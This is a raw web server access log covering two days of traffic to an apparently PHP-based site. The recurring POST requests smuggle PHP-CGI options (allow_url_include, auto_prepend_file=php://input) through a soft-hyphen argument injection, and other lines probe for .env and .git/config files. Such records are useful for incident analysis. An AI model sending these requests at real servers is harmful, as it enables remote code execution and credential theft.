[29/Nov/2024:22:13:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env_sample HTTP/1.1" 300
[29/Nov/2024:22:14:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[29/Nov/2024:22:14:40 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:22:16:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[29/Nov/2024:22:34:11 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:22:35:10 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[29/Nov/2024:22:51:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[29/Nov/2024:22:51:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/skins/moono/images/refresh.png HTTP/1.1" 422
[29/Nov/2024:22:51:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[29/Nov/2024:22:51:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[29/Nov/2024:22:54:32 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:23:05:11 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[29/Nov/2024:23:05:24 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[29/Nov/2024:23:05:42 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[29/Nov/2024:23:16:02 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/flash/images/placeholder.png HTTP/1.1" 256
[29/Nov/2024:23:50:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[29/Nov/2024:23:54:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[29/Nov/2024:23:54:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[29/Nov/2024:23:54:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[29/Nov/2024:23:54:26 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[29/Nov/2024:23:54:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:00:00:10 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[30/Nov/2024:00:14:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:00:34:06 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:00:51:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[30/Nov/2024:00:54:46 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:01:14:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:01:34:16 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:01:42:01 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[30/Nov/2024:01:50:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[30/Nov/2024:01:55:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:02:06:02 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[30/Nov/2024:02:14:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:02:33:54 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:02:51:06 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[30/Nov/2024:02:51:08 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[30/Nov/2024:02:51:10 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/images/photo.png HTTP/1.1" 6639
[30/Nov/2024:02:51:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[30/Nov/2024:02:54:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:03:09:06 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/images/2f2.png HTTP/1.1" 117728
[30/Nov/2024:03:09:18 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:03:14:01 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:03:33:41 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:03:44:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/dept/dept5.php.bak.locked HTTP/1.1" -
[30/Nov/2024:03:44:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[30/Nov/2024:03:49:35 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[30/Nov/2024:03:50:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[30/Nov/2024:03:54:39 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:04:10:36 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[30/Nov/2024:04:14:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[30/Nov/2024:04:14:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[30/Nov/2024:04:14:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[30/Nov/2024:04:14:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 2066
[30/Nov/2024:04:14:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[30/Nov/2024:04:15:30 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:04:15:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[30/Nov/2024:04:15:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[30/Nov/2024:04:15:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/showblocks/images/block_h2.png HTTP/1.1" 127
[30/Nov/2024:04:34:01 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:04:51:14 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[30/Nov/2024:04:54:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:04:55:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/showblocks/images/block_h6.png HTTP/1.1" 123
[30/Nov/2024:05:14:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:05:15:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/about/dialogs/logo_ckeditor.png HTTP/1.1" 6757
[30/Nov/2024:05:33:36 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:05:50:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[30/Nov/2024:05:54:03 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:05:55:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[30/Nov/2024:05:55:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[30/Nov/2024:05:55:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/upload/dept8-7.jpg HTTP/1.1" 85643
[30/Nov/2024:06:14:03 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:06:15:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[30/Nov/2024:06:33:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:06:40:07 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/demo/tree/lazyload.html HTTP/1.1" 2522
[30/Nov/2024:06:40:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/jquery.easyui.min.js HTTP/1.1" 376651
[30/Nov/2024:06:40:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/demo/demo.css HTTP/1.1" 306
[30/Nov/2024:06:40:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/demo/tree/tree_data1.json HTTP/1.1" 718
[30/Nov/2024:06:45:25 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:06:45:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/magicline/images/icon.png HTTP/1.1" 133
[30/Nov/2024:06:51:16 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[30/Nov/2024:06:54:02 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:07:06:56 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[30/Nov/2024:07:06:58 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[30/Nov/2024:07:06:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/dept/index9328i.html HTTP/1.1" -
[30/Nov/2024:07:14:10 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:07:19:04 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[30/Nov/2024:07:19:05 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[30/Nov/2024:07:33:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:07:41:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[30/Nov/2024:07:50:30 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[30/Nov/2024:07:50:31 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[30/Nov/2024:07:50:31 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[30/Nov/2024:07:50:31 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 2066
[30/Nov/2024:07:50:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[30/Nov/2024:07:53:55 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:08:03:56 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[30/Nov/2024:08:04:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[30/Nov/2024:08:14:08 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:08:33:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:08:51:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[30/Nov/2024:08:54:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:09:03:49 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:03:51 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:03:53 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:03:54 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:03:55 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:03:56 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:03:57 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:03:57 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:03:59 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:04:00 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:04:01 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:04:02 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:04:03 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:04:04 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:04:05 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:04:06 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:04:07 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:04:08 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:04:09 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:04:09 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:04:10 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:04:12 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:04:12 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:04:14 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:04:14 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:04:15 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:04:16 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:04:18 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:04:19 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:04:20 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:04:21 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:04:22 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:04:24 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:04:24 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:04:25 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:04:26 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:04:27 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:04:28 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:04:28 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:04:29 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:13:56 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:09:16:26 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" 332
[30/Nov/2024:09:16:35 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[30/Nov/2024:09:16:36 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /config/.git/config HTTP/1.1" 300
[30/Nov/2024:09:16:37 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.local HTTP/1.1" 300
[30/Nov/2024:09:16:38 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /app/.git/config HTTP/1.1" 300
[30/Nov/2024:09:16:38 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /api/.git/config HTTP/1.1" 300
[30/Nov/2024:09:16:40 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.development.local HTTP/1.1" 300
[30/Nov/2024:09:16:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.dev.local HTTP/1.1" 300
[30/Nov/2024:09:18:17 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:18:18 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:18:18 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:18:19 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:18:20 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:18:21 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:18:21 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:18:22 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:18:23 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:18:24 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:18:25 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:18:26 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:18:26 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:18:27 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:18:28 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:18:29 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:18:30 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:18:31 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:18:32 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:18:33 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:18:34 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:18:35 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:18:35 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:18:36 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:18:37 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:18:38 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:18:39 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:18:40 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:18:41 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:18:42 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:18:43 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:18:43 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:18:44 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:18:45 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:18:46 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:18:46 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[30/Nov/2024:09:33:24 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[30/Nov/2024:09:39:02 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
